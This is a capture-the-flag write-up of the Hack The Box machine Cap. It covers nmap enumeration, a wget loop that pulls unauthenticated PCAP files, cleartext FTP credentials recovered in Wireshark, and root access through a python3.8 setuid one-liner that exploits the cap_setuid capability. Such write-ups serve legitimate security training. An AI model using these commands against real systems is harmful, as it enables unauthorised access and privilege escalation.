HTB - Cap Writeup

Liam Geyer
  2025-04-28 2025-04-28 Created   2025-06-22 18:05:54 2025-06-22 18:05:54 Updated   

👾 Machine Overview

This is a writeup of the machine Cap from HTB, it’s an easy difficulty Linux machine which featured IDOR, PCAP forensics, and exploiting a Linux capability.

🔍 Enumeration

I started off with an Nmap scan of the box:

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nmap -sV -sC -T4 -Pn 10.10.10.245
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-28 17:40 EDT
Nmap scan report for 10.10.10.245
Host is up (0.050s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Mon, 28 Apr 2025 21:40:46 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Mon, 28 Apr 2025 21:40:41 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Mon, 28 Apr 2025 21:40:41 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.03 seconds

We can see SSH, FTP, and Web.

📂 FTP

I checked for anonymous FTP without any success.

We can see from our scan that this is running vsftpd 3.0.3. I found this exploit but it’s just a DOS.

🌐 Web

Moving on to the website, we’re greeted with a fancy little security dashboard.

Homepage

There’s some interesting pages including ip and netstat output.

IP Page

Netstat page

What’s really interesting is the “Security Snapshot” tab. Each time we browse to this page we’re given the opportunity to download a random network capture.

PCAP Page

It’s not really IDOR because there’s no authentication for this app - but we can tumble the numerical ID here to find new PCAPs.

Burp Intruder

Using Burp Intruder we can tumble the values to discover that there’s 12 PCAP files. I used the following command to download them all.

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for i in {0..13}; do wget "http://10.10.10.245/download/$i"; done

Opening them in Wireshark, I saw cleartext credentials for Nathan’s FTP account.

Cleartext FTP Creds

We can use these to SSH in as Nathan and grab the user flag

⏫ Privesc

As Nathan I dropped and ran LinPEAS which flagged some interesting Linux capabilities. Capabilities can let a binary perform a privileged action without being run as root or having full permissions.

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╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
══╣ Current shell capabilities
CapInh:  0x0000000000000000=
CapPrm:  0x0000000000000000=
CapEff:  0x0000000000000000=
CapBnd:  0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
CapAmb:  0x0000000000000000=

╚ Parent process capabilities
CapInh:       0x0000000000000000=
CapPrm:  0x0000000000000000=
CapEff:  0x0000000000000000=
CapBnd:  0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
CapAmb:  0x0000000000000000=


Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Notably we see /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip. This means that the Python binary can be used to manipulate it’s own process ID to impersonate the root user.

We can run the following command to upgrade to a root shell and grab the flag.

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nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# whoami
root
root@cap:~# cat /root/root.txt 
[SNIPPED]

YIPPEE!!!!

  • Title: HTB - Cap Writeup
  • Author: Liam Geyer
  • Created at : 2025-04-28 00:00:00
  • Updated at : 2025-06-22 18:05:54
  • Link: https://lfgberg.org/2025/04/28/htb/cap/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
HTB - Cap Writeup
  1. 👾 Machine Overview
  2. 🔍 Enumeration
  3. 📂 FTP
  4. 🌐 Web
  5. ⏫ Privesc